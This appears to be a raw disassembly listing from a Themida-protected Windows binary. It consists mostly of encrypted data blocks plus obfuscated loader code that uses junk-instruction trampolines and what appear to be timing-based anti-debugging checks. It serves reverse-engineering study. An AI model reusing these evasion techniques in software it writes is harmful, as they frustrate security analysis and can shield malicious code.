		dd 35A46C69h, 81802FA6h, 5744419Eh, 0C4A96639h,	19F9F3h
		dd 7043D269h, 50h, 0EF128092h, 0E22C4603h, 19819F9h, 4443301Ch
		dd 1CB33150h, 2411A037h, 8AB0BB64h, 0A747E0A0h,	0F6968310h
		dd 3D2915FAh, 0FA61ED80h, 0CE391819h, 0C1FA1811h, 68F6851Ch
		dd 0FEEBD73Ah, 0EAD6659Bh, 747211FEh, 0AC69F88Fh, 21CAD676h
		dd 4C2AB74Eh, 32602031h, 0AF7E3CFh, 25E2718Fh, 19F9E6F9h
		dd 4B22DFCBh, 7919F9E7h, 29E64BE2h, 0DA7031E7h,	776386F4h
		dd 1E384613h, 83127151h, 6958DA97h, 0D56CE241h,	0D13062F0h
		dd 8E0CF9E5h, 67F68D72h, 12A3C0AAh, 816D04EAh, 0DEBA895h
		dd 0F5F3917Eh, 0DF1D7B68h, 0F0CA252Bh, 5ED6BB26h, 632h
		dd 0D8659B03h, 0C653A9EBh, 0B542BCD9h, 9E2BC9C8h, 8A17D1B1h
		dd 0A4E6CECFh, 0B7D2BF4Ch, 0C2BFAC39h, 0EAAA9724h, 0F3DF810Eh
		dd 0FD4E3736h, 0C7A58D19h, 73306321h, 1228B4FAh, 46B8DDCAh
		dd 9C33CA61h, 33CDCAB7h, 316A18A6h, 11FD9452h, 0FD34AE54h
		dd 9A7F1619h, 6216E8ADh, 0F6CDA57Ch, 0CF239B80h, 0A0000005h
		dd 887502FEh, 7663F00Ch, 6552DF11h, 4E3BC826h, 6C27B44Ch
		dd 0E11F7B31h, 0CE2C6754h, 0B9375441h, 0A3413F2Ch, 0CB887416h
		dd 19FD4DA2h, 225C3A22h, 0B59A5435h, 91018F1Eh,	987D7B1Ah
		dd 917E6A01h, 7C68F7F1h, 0FD343FBFh, 2EE8519h, 3425429Eh
		dd 655151A2h, 0FD78C5A8h, 0D968FF19h, 708E07F4h, 0CDE188BCh
		dd 0BB3318F6h, 562h, 8954B33h, 0F683791Bh, 0E5728C09h
		dd 0CE5B99F8h, 0BA47A1E1h, 74169EFFh, 8702EF7Ch, 92EFDC69h
		dd 0BADAC754h, 230FB13Eh, 0FD4E0766h, 0F7D5BD19h
dword_5C005C	dd 3EF1280h, 0FD34B446h, 94791019h, 5C10EEA7h, 0F6CDA556h
					; DATA XREF: ___:off_444E84o
		dd 17B52D12h, 0E8000005h, 0D0BD4AB6h, 0BEAB38B4h, 0AD9A27D9h
		dd 968310EEh, 0B46FFCF4h, 29C7C3E9h, 16D4AF9Ch,	1FF9C89h
		dd 0EB098774h, 13D0BC5Eh, 19FD4F5Ah, 21A4826Ah,	0FA733063h
		dd 0CA1228B4h, 0CAB79C33h, 3BEA61CAh, 0B9C392E2h, 33503D22h
		dd 0A1E3D0B5h, 0C13F5E4Bh, 998833DCh, 32E18CF8h, 735F9DFBh
		dd 5FEE0286h, 49A7E5D2h, 0D814705Dh, 0E8CD5CF3h, 29AE3F2Bh
		dd 3EFDB12h, 29AE2746h,	77069D12h, 0FBE75DCCh, 29AE2F3Eh
		dd 6FFE9512h, 59E60282h, 0EBD02C6Ch, 77359BFFh,	47E19A1Dh
		dd 2FCDCBB8h, 2D6614A2h, 14AB906Eh, 9AD4917Dh, 2A19FA18h
		dd 0DDBAA793h, 34513E23h, 0A73ED5BAh, 0E3473318h, 5A431043h
		dd 0FBB847C9h, 19F9E06Eh, 8E738D0Eh, 2308E6A1h,	3F20CF7Ah
		dd 921302ADh, 419E5E1Dh, 56C0h,	3622E200h, 0CBB04E49h
		dd 0B4F67734h, 6861228h, 0C96E05EAh, 6515A332h,	48AC9884h
		dd 2A7BD953h, 284502C5h, 9C1228F1h, 22DF6E05h, 19FA1990h
		dd 0E28B4834h, 0E219FA19h, 12CFB44Bh, 19FA1A57h, 6526D580h
		dd 419E9B4Ah, 0DA17167Ah, 59DA34EFh, 0D5F7CAh, 22190000h
		dd 684D0BEh, 6FFE3D95h,	1E60282h, 957A7614h, 270CE8A8h
		dd 119E5A3Ah, 0AEA0C125h, 4B0AE29Ch, 33CAAF4Dh,	5C500D9Ch
		dd 201229A3h, 0AF78460h, 0F1EBA18Ah, 0C76BCFE3h, 1074FAAFh
		dd 225FF10Eh, 0B148DFC4h, 0FBA7351Ah, 0D6D2A16h, 0B719F9E1h
		dd 95059320h, 0B5CB8874h, 0C821CDC2h, 6275B8DBh, 0F75942F5h
		dd 2FC6AB42h, 7864FBA0h, 64F10F8Bh, 9ECF8C78h, 2621CDC2h
		dd 7713008Fh, 2BA7C579h, 987DFEBCh, 35520h, 88782600h
		dd 768A0EFBh, 659BFCE9h, 4EACEBD8h, 3AB6D4C1h, 9ABF2ADh
		dd 0F5E26F89h, 0E2CF5C92h, 0CDBA47A1h, 2A431CFh, 50145916h
		dd 0C8B019FDh, 316121EAh, 71FE9553h, 0F1920484h, 0E47B12F7h
		dd 0A10394F8h, 0E189BCE3h, 80E7C552h, 4603EF12h, 19F9DD6Ch
		dd 5682511h, 0BF19F9DEh, 0DE5716D3h, 0D66D19F9h, 740BB03Fh
		dd 0DD97D28Fh, 954019F9h, 5F8A2566h, 4D3A419Eh,	3AD1B648h
		dd 0AAD8ABh, 21FA0000h,	0FA733063h, 0CA1228B4h,	0CAB79C33h
		dd 8E4B30C8h, 1228B91Eh, 35C23E5Eh, 0C7AC4848h,	96534939h
		dd 1228B8D7h, 0D3BF56EDh, 0F9D96416h, 0DDC96019h, 0C45391F0h
		dd 725F4B37h, 5FF6DB15h, 0F9D9CBA2h, 0D362F919h, 0C8B45545h
		dd 0CDB8160Bh, 2B17AE21h, 17A45C3Eh, 583A682Ah,	415509A0h
		dd 13FEBC26h, 26CB62Eh,	413D0000h, 6325129Fh, 7213008Dh
		dd 8302EF7Ch, 0AFEBD865h, 9409C451h, 0F9866220h, 0E673890Ch
		dd 0D15E98F9h, 0BB48A4E4h, 0FD702D19h, 0C719FD50h, 612101DFh
		dd 8F0DFA87h, 94F8E471h, 7CB874DEh, 0B694233Fh,	0E9B86321h
		dd 3536C1FFh, 0FFA4C986h, 89201228h, 33F48EF2h,	0F7B3ACE2h
		dd 86107460h, 0B8636081h, 0C7B49928h, 109E2BC9h, 0D6937F62h
		dd 19FA21A4h, 0B8A48920h, 225E0FCCh, 0CF6619FAh, 22E68340h
		dd 46F119FAh, 70FD61D7h, 0F66464A3h, 0B135C72Bh, 0A2A2E11Dh
		dd 6C139C13h, 4BCA419Eh, 0EC000000h, 3EF1280h, 0F9CD3046h
		dd 16E94D19h, 92C7EFBh,	3723C857h, 0F9F4F37Ah, 0A33AD119h
		dd 0F46801BEh, 0C46F19F9h, 7F3DF55h, 0F9F5234Ah, 4D0AA119h
		dd 19F9F520h, 20C53B5Ch, 1FF9C89h, 7FF6851Ch, 419E7630h
		dd 24ADh, 1951CF00h, 641228B5h,	0B4B2BB78h, 7B121228h
		dd 0CD2C5EECh, 0B5AE24E1h, 0E2CF19F9h, 0CE654AA6h, 76039A3Fh
		dd 0EF128098h, 0CC384603h, 0F58C19F9h, 0CC165310h, 16C119F9h
		dd 4909A6E7h, 27D4419Eh, 0F6000000h, 28B51851h,	32D7C312h
		dd 2C6D5A46h, 4C8643D2h, 7819F9B5h, 8908F5E1h, 3EF866Bh
		dd 0F9B52746h, 77069D19h, 12800CEAh, 0AC4603EFh, 0D119FD34h
		dd 354528E5h, 0E87F19FDh, 311DB459h, 37524444h,	0A63DD4B9h
		dd 906C2C19h, 8C6D1DABh, 2850B4A0h, 408D823Eh, 0A5CA8716h
		dd 1F21D1B3h, 0D1AF9C88h, 0FB998613h, 188A18FDh, 0AE500DF9h
		dd 1629A2DDh, 0F41CB7Fh, 7A5FE663h, 0C102h, 0F4EC9200h
		dd 0E21E7A67h, 0D12F6855h, 0BA385744h, 0A642402Dh, 6D3F5E19h
		dd 5946D32Dh, 4633C03Eh, 311EAB45h, 66089553h, 52B0BD7Ah
		dd 2C1419FDh, 5635224Eh, 0C3A84042h, 7806952Ch,	3EFBE70Ah
		dd 19FD342Dh, 2E1B0097h, 1805926Eh, 0DA977C78h,	3C1D1E31h
		dd 395C484Bh, 0B047DEC3h, 46BADECBh, 1E0DB861h,	3825117Dh
		dd 630E9D5Bh, 0E11F7DB4h, 0CB296754h, 9196FAE6h, 0FEA475BCh
		dd 32513ECDh, 7B26CFB4h, 0F9F7958Ch, 8563200Dh,	0ED7A09A0h
		dd 8D0E8000h, 0EF018673h, 0F7DC730Ah, 0B621F0Bh, 0B93C1CCBh
		dd 77E41F55h, 972ECF49h, 109008h, 22B20000h, 0B4F47936h
		dd 0E3D01228h, 20AF46A4h, 7D21F6D4h, 0D3B19E83h, 46433015h
		dd 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h, 0F4938065h, 632411F6h
		dd 0D9BBA88Dh, 536F3E23h, 0BE56E389h, 0C701258h, 703ECE81h
		dd 0F68162DEh, 5B164664h, 0CBEAC681h, 0F301CA17h, 4EB835Eh
		dd 5C241C87h, 1A8A68h, 243C8900h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 50240489h, 0EF3C5DB8h, 58C7890Dh,	0BD77F781h
		dd 8B540A3Bh, 0C4812404h, 4, 1C6A68h, 243C8900h, 0FF08408Fh
		dd 81582434h, 4C4h, 2434FF00h, 4C4835Fh, 0FCDE93E9h, 0F95455FFh
		dd 0F32C056h, 0CA95894Eh, 9F75B857h, 0C50307D4h, 0FDCDE0FFh
		dd 0CC4C684Dh, 59C4730Bh, 9F9A6497h, 0D4133579h, 0FD6F47C5h
		dd 42261D0h, 257A33E4h,	0DABD5EBCh, 5D0D6C89h, 22622523h
		dd 58476815h, 0F55B2A72h, 0CCA60F07h, 0E8831C37h, 4E65852h
		dd 2902033Ah, 0A7581CD2h, 0B7F66750h, 48134D3Dh, 0D94B6B2Fh
		dd 12286CF0h, 65D41E5Bh, 291C2FB0h, 9E934636h, 4D5F0F20h
		dd 83E942A0h, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
		dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
		dd 57h,	3785B8Bh, 8B1C245Ch, 74032473h,	8B561C24h, 738B207Bh
		dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh,	178B1C24h
		dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
		dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
		dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 10E8h
		dd 0E626A00h, 0C0128FAFh, 0EC89E71Eh, 0B81F4286h, 8B0F10h
		dd 5F000000h, 13E9h, 0E67FCD00h, 0FDB91486h, 92A510A3h
		dd 311641DDh, 948D24A3h, 5ACDC781h, 0F600000h, 6861C3BFh
		dd 1674h, 0C34AE2BBh, 0F60592Bh, 689h, 8F0F00h,	8B000000h
		dd 178B61C6h, 0BE8h, 22F2B700h,	0A5ED581Fh, 0C017FF6Dh
		dd 7E9h, 3E0D4100h, 0C95AC2D5h,	74EA815Eh, 0F48E8CDh, 0EA81F1BFh
		dd 7C58FCE9h, 81C38B66h, 0AEFCA8EAh, 0BB666078h, 0BA66C4E8h
		dd 8961307Eh, 815B5117h, 0C412B4EFh, 0E6816600h, 0C7815600h
		dd 0C412B0h, 0F49D98Bh,	2685h, 0EE96000h, 60000000h, 66A6C458h
		dd 26919CD9h, 9A6FBB3Bh, 49D381CCh, 611612FDh, 2DE9h, 0D17EC900h
		dd 0FA8EB59h, 1185h, 0CE900h, 22A80000h, 0E30A9FADh, 0A3929B0Ch
		dd 5FE98DFFh, 0E4FFFFFFh, 5A627E68h, 68E93469h,	9E8F84Dh
		dd 6D000000h, 0F229C8A8h, 440122F4h, 65CF8166h,	0BA66581Dh
		dd 0C081F472h, 63BCh, 0BBCDF580h
		dd 0
; ---------------------------------------------------------------------------
		mov	dx, 202Ah


loc_5C0864:				; CODE XREF: Themida_:loc_5C08F6j
		push	dword ptr [ebx+eax]
		mov	edx, eax
		pop	esi
		push	ebx
		jl	loc_5C0877
		jnz	$+6


loc_5C0877:				; CODE XREF: Themida_:005C086Bj
		pop	edx
		add	esi, 104D014h
		or	ecx, 4EA038CCh
		xor	esi, 5FBABF4Ah
		mov	edx, edi
		sub	esi, 28BCB562h
		mov	dl, al
		push	esi
		sub	edx, 1BEB4325h
		pop	dword ptr [eax+ebx]
		mov	cx, 0A863h
		add	edi, 607F8E91h
		sub	ebx, 20CAC79Fh
		jmp	loc_5C08BE
; ---------------------------------------------------------------------------
		db 78h
		dd 0B755EC26h, 0B8CA91Bh
; ---------------------------------------------------------------------------
		stosb
		pop	edx


loc_5C08BE:				; CODE XREF: Themida_:005C08AEj
		add	ebx, 20CAC79Bh
		sub	cx, 0AEFAh
		cmp	ebx, 0FFFF9D0Ch
		jnz	loc_5C08EE
		cmc
		jmp	loc_5C090B
; ---------------------------------------------------------------------------
		db 0FEh
		dd 64730EFEh, 0B72BCB75h, 42B345A1h, 0B4D4404Ah
		db 0E5h, 16h
; ---------------------------------------------------------------------------


loc_5C08EE:				; CODE XREF: Themida_:005C08CFj
		ja	loc_5C08F6
		mov	edi, ecx


loc_5C08F6:				; CODE XREF: Themida_:loc_5C08EEj
		jmp	loc_5C0864
; ---------------------------------------------------------------------------
		db 37h
		dd 176883D0h, 0F40694B3h, 82B07C96h
		db 0, 74h, 69h
; ---------------------------------------------------------------------------


loc_5C090B:				; CODE XREF: Themida_:005C08D6j
		jmp	loc_5C0D10
; ---------------------------------------------------------------------------
		dd 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
; ---------------------------------------------------------------------------


loc_5C0D10:				; CODE XREF: Themida_:loc_5C090Bj
		jmp	loc_5C1F2B
; ---------------------------------------------------------------------------
		pusha
		movzx	eax, ax
		mov	ecx, [ebp+7D12C8Dh]
		popa
		pusha
		mov	ebx, [ebp+7D11671h]
		popa
		mov	eax, [ebp+7D12D09h]
		push	0
		push	esi
		call	sub_5C0D39
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D39	proc near		; CODE XREF: Themida_:005C0D31p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C0D39	endp

; ---------------------------------------------------------------------------
		db 44h,	74h, 0FDh
; ---------------------------------------------------------------------------
		jo	short loc_5C0D60
		cmp	[esp+4], eax
		jnz	loc_5C0DE2
		push	0
		push	edx
		call	sub_5C0D63


loc_5C0D60:				; CODE XREF: Themida_:005C0D4Cj
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0D63	proc near		; CODE XREF: Themida_:005C0D5Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5C0D63	endp

; ---------------------------------------------------------------------------
		stosd
		xor	[ebp+7D12D75h],	esi
		pusha
		mov	[ebp+7D11C15h],	edx
		mov	[ebp+7D12481h],	esi
		popa
		cmp	dword ptr [ebp+7D11E11h], 0
		jz	loc_5C0DE2
		mov	[ebp+7D12029h],	esi
		lea	eax, [ebp+7D13B01h]
		push	0
		push	esi
		call	sub_5C0DAC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0DAC	proc near		; CODE XREF: Themida_:005C0DA4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C0DAC	endp

; ---------------------------------------------------------------------------
		dd 76821620h, 0F2E70117h, 0ED8D89F2h, 0FF07D11Fh, 0AE9E0h
		dd 0F9680000h, 0F0E22F82h, 0A7BCD393h, 22A9B529h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5C0DE2:				; CODE XREF: Themida_:005C0D52j
					; Themida_:005C0D8Fj
		mov	eax, [ebp+7D130F9h]
		add	[ebp+7D126A5h],	edi
		cmp	[esp+4], eax
		jnz	loc_5C0E54
		push	0
		push	ebp
		call	sub_5C0E03
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E03	proc near		; CODE XREF: Themida_:005C0DFBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C0E03	endp

; ---------------------------------------------------------------------------
		push	ss
		retn
; ---------------------------------------------------------------------------
		db 0EFh, 83h, 79h
; ---------------------------------------------------------------------------
		sub	ah, [ecx-6E4A76BEh]
		sub	cl, dl
		pop	es
		mov	dword ptr [ebp+7D4A6CEh], 1
		push	0
		push	eax
		call	sub_5C0E36
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E36	proc near		; CODE XREF: Themida_:005C0E2Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C0E36	endp

; ---------------------------------------------------------------------------
		dw 0D392h
		dd 46120D6Dh, 8D29DB71h, 7D12CCDh
; ---------------------------------------------------------------------------


loc_5C0E54:				; CODE XREF: Themida_:005C0DF2j
		pusha
		push	0
		push	edx
		call	sub_5C0E60
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0E60	proc near		; CODE XREF: Themida_:005C0E58p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C0E60	endp

; ---------------------------------------------------------------------------
		fild	dword ptr [ebx]
		or	[ebp+7D13185h],	esi
		jmp	loc_5C0E82
; ---------------------------------------------------------------------------
		db 0F5h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C0E82:				; CODE XREF: Themida_:005C0E78j
		mov	eax, 1


loc_5C0E87:				; CODE XREF: Themida_:005C0E8Fj
		xchg	eax, [ebp+7D4A840h]
		or	eax, eax
		jnz	short loc_5C0E87
		push	dword ptr [ebp+7D131B5h]
		pop	dword ptr [ebp+7D4A6C6h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7D132E9h]
		cmp	dword ptr [ebp+7D124E9h], 0
		jz	short loc_5C0EB8
		push	0
		call	dword ptr [ebp+7D10055h]


loc_5C0EB8:				; CODE XREF: Themida_:005C0EAEj
		cmp	dword ptr [ebp+7D12E45h], 1
		jz	short loc_5C0ECE
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7D132E9h]


loc_5C0ECE:				; CODE XREF: Themida_:005C0EBFj
		push	0
		push	edi
		call	sub_5C0ED9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0ED9	proc near		; CODE XREF: Themida_:005C0ED1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C0ED9	endp

; ---------------------------------------------------------------------------
		db 0D8h, 0Ah, 0D6h
		dd 31E2EAA2h, 0D11AA18Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0F90A9D94h
		dd 0E7196CFCh, 0C8B0F9Ah, 0E9000000h, 7, 0F20BD415h, 89C44A2Eh
		dd 0D12A1585h, 60C02B07h, 17B1858Bh, 0B5207D1h,	0D1275585h
		dd 8B615F07h, 0F282454h, 682h, 5B53100h, 8907D114h, 0D13089BDh
		dd 0A9858907h, 6A07D12Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0C002C352h,	0DA8B602Eh
		dd 21658503h, 0BE6107D1h, 3Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D6C35040h,	0C860F67h, 0E9000000h
		dd 7, 3C52BB60h, 89CD2045h, 0D101C185h,	24740307h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0C1A087E2h, 5E90Ch, 8BCE0000h, 66B4F00Dh, 57006AADh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0F60CBA5h, 68Eh, 850F00h, 8B000000h,	0D116A58Dh, 44036107h
		dd 6A2424h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0CE0582C3h, 870F60D6h, 18h, 12E8h, 0A55DF900h
		dd 4A14B95Dh, 5A3A2E62h, 35D7D491h, 5E945573h, 6810Fh
		dd 95890000h, 7D12589h,	52505061h, 6820Fh, 870F0000h, 0
		dd 8D0F310Fh, 6, 310F5250h, 585A585Ah, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 1B5CC352h, 0CBA55B9Ch, 8D31607Bh, 7D120FDh, 23319D8Bh
		dd 0F6107D1h, 681h, 6D958900h, 8B07D106h, 6A7840h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0C1FEDBC3h, 9D8D8960h, 0E807D121h, 0Ch, 4F408BE3h, 0A9DDAA04h
		dd 6DB9A40Eh, 11E9h, 75DBDD00h,	0E38C81F8h, 1E5C492Eh
		dd 1240982Bh, 615924BBh, 0A6CEBD83h, 0F0007D4h,	11085h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 8D669244h, 618589CEh, 5007D127h,	0A8C0Fh
		dd 0F600000h, 8Fh, 6185B100h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1767C351h
		dd 0B63133F8h, 0D8FBB960h, 8E978DCh, 0BE000000h, 209A1BB2h
		dd 61B151C8h, 21619D29h, 448B07D1h, 6A2C24h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 6D85E8C3h
		dd 1AF98D29h, 0E99007D1h, 13h, 0D7115128h, 37D8A028h, 394C7057h
		dd 3C51AD54h, 503709F2h, 52505760h, 585A310Fh, 9B8DBF5Fh
		dd 90610F3Eh, 1D880Fh, 870F0000h, 17h, 12E9h, 0CFC89E00h
		dd 0DCEF76AAh, 97738FF6h, 5B395D25h, 0FF22A60h,	0A8Bh
		dd 858B6000h, 7D11809h,	8D6117B4h, 0D47DBB85h, 0D0FFF907h
		dd 0D852960h, 0BB07D12Dh, 64C4ED63h, 24440361h,	830F6028h
		dd 2, 0E38171B4h, 2CA8D44Eh, 18408B61h,	5E9h, 2C880600h
		dd 6A40DFBDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 94E6C351h, 0C7B96E2Bh,	9F8E866h
		dd 0D1180985h, 0CA858907h, 6A07D4A6h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 6BE4C351h
		dd 0C53638C7h, 0B531E534h, 7D11599h, 10E9h, 6503BA00h
		dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 6A5887h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B91FC9C3h
		dd 8E9E8E6h, 8B000000h,	8AC4450h, 600B0CF3h, 8B615B52h
		dd 6A7870h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 4C9AEFC3h, 0F8F334ABh, 0C6839E1Fh, 56006A1Ch
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0B740E31Eh, 0FFF579Ch, 183h,	2996FC00h, 0D12B3D9Dh
		dd 247C8107h, 24h, 37870F10h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9797C357h
		dd 0E7AF9679h, 6DA65DC0h, 5E990h, 58830000h, 509FA151h
		dd 0FE860h, 33790000h, 0B89965E0h, 94684AFAh, 2E570565h
		dd 5E24B115h, 0B4D387BBh, 8990615Eh, 0D1327D9Dh, 24448B07h
		dd 52006A28h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 951F952Ch, 13E900h, 58920000h, 0D6C919E6h
		dd 43927B27h, 1E385FDAh, 34356E2Fh, 51B52915h, 9007D124h
		dd 52505250h, 8A0Fh, 310F0000h,	585A6160h, 880F310Fh, 2
		dd 585A6160h, 198A0F50h, 0E9000000h, 14h, 0C22EBAFCh, 0A4880E05h
		dd 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 57006A90h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 858D18F0h
		dd 7D47DBBh, 7E9h, 8B292300h, 0FD58CFC6h, 6830F60h, 8B000000h
		dd 0D12B1185h, 4860F07h, 66000000h, 6187DDBBh, 8589D0FFh
		dd 7D113BDh, 0C870Fh, 880F0000h, 6, 810Fh, 6A960000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 221FC350h, 0DE90Ah, 8B660000h, 6AAF83E5h, 0F035C2FEh
		dd 0E9CA208Ch, 6, 557A8A57h, 74038E95h,	800F2424h, 6, 3B9BD29h
		dd 0BD8D07D1h, 7D13105h, 177D9D01h, 6AAD07D1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 3152C351h, 60B22C27h, 0AE9h,	390EA400h, 0B7907C76h
		dd 664A4A6Ch, 0BC94E281h, 8D096061h, 7D13295h, 6FEF8166h
		dd 7C8161E9h, 2424h, 870F1000h,	0C2h, 1DB58B60h, 8007D109h
		dd 9061AAC6h, 158E0Fh, 10E90000h, 1C000000h, 7840FEF8h
		dd 0FB67C770h, 9226C680h, 5012E400h, 0BE95250h,	8E000000h
		dd 6AAB3A59h, 0FA9BB402h, 310FE6CBh, 0F525060h,	0BA585A31h
		dd 514F9418h, 90585A61h, 22E1B589h, 448B07D1h, 85892824h
		dd 7D1271Dh, 19830F50h,	0E9000000h, 14h, 18D32FF9h, 95BE8C26h
		dd 0D354F759h, 830B53EFh, 5271075h, 29240489h, 0D1287D85h
		dd 0BB858D07h, 6A07D47Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3C90C350h, 0B5AB483h
		dd 9B208348h, 6A99589h,	0FFF807D1h, 0B58960D0h,	7D1236Dh
		dd 440361F5h, 95292424h, 7D10FB9h, 6870FABh, 29000000h
		dd 0D12DC995h, 0FA8107h, 0F000100h, 77282h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 18E0F29h, 0FC000000h, 0CE9h,	0ADAC3700h, 456FAC79h
		dd 0B8641871h, 1DBD8D1Fh, 0FC07D115h, 51006AADh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 860F54BDh, 0Ch, 68E0Fh, 95890000h, 7D11825h,	6810Fh
		dd 0B5090000h, 7D12EC1h, 24247C81h, 10000000h, 11C870Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0F3C493C3h, 870F5088h, 0Ch, 7E9h,	0F0DF0400h
		dd 0C21EB576h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 26F8C350h, 448BF86Ch
		dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0E4D0C2C3h, 0AA2B60A2h, 3181757Ah, 0D11E21B5h
		dd 52509007h, 61605250h, 6160310Fh, 310F585Ah, 5E9h, 11DCC000h
		dd 585A5134h, 0F525050h, 685h, 0F525000h, 0F585A31h, 0BA666031h
		dd 5A61BFE7h, 8D899058h, 7D13485h, 68F0Fh, 95890000h, 7D133A9h
		dd 7DBB858Dh, 606007D4h, 4A48D081h, 3DBA2E74h, 617EB9B7h
		dd 6AD0FF61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 5841C350h, 5FD20EEFh, 0DE9h, 5258F00h
		dd 0F40B8617h, 0DF1E2845h, 66604E6Ah, 0D22CD181h, 440361F9h
		dd 6A2424h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 7D40E9C3h, 0F8FAD612h, 60525090h,	0B25CBF66h
		dd 60310F61h, 0CA8A5E51h, 50585A61h, 10E95250h,	0B8000000h
		dd 103A9CACh, 35166DB2h, 3AFE92ECh, 0F2E4F8Ah, 7E931h
		dd 6CA50000h, 9904D410h, 90585AF9h, 2619B589h, 6AAB07D1h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A271C353h, 5E96C2Bh, 0E8000000h,	7CDE908Dh
		dd 10C1BD8Dh, 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h
		dd 0E9EE9DC3h, 0AFB2EA12h, 14058531h, 0ADF507D1h, 319DB589h
		dd 81FC07D1h, 28247Ch, 0F100000h, 10287h, 0F6816000h, 7B50A2DFh
		dd 12E8h, 184D8800h, 0DB88AB50h, 0F35C0CF6h, 312BBDA0h
		dd 0E946113Eh, 6, 8797B5D9h, 615FCF5Fh,	18C88060h, 61DE8B66h
		dd 8870F90h, 60000000h,	0D06DB866h, 5061D98Ah, 12E9h, 400F200h
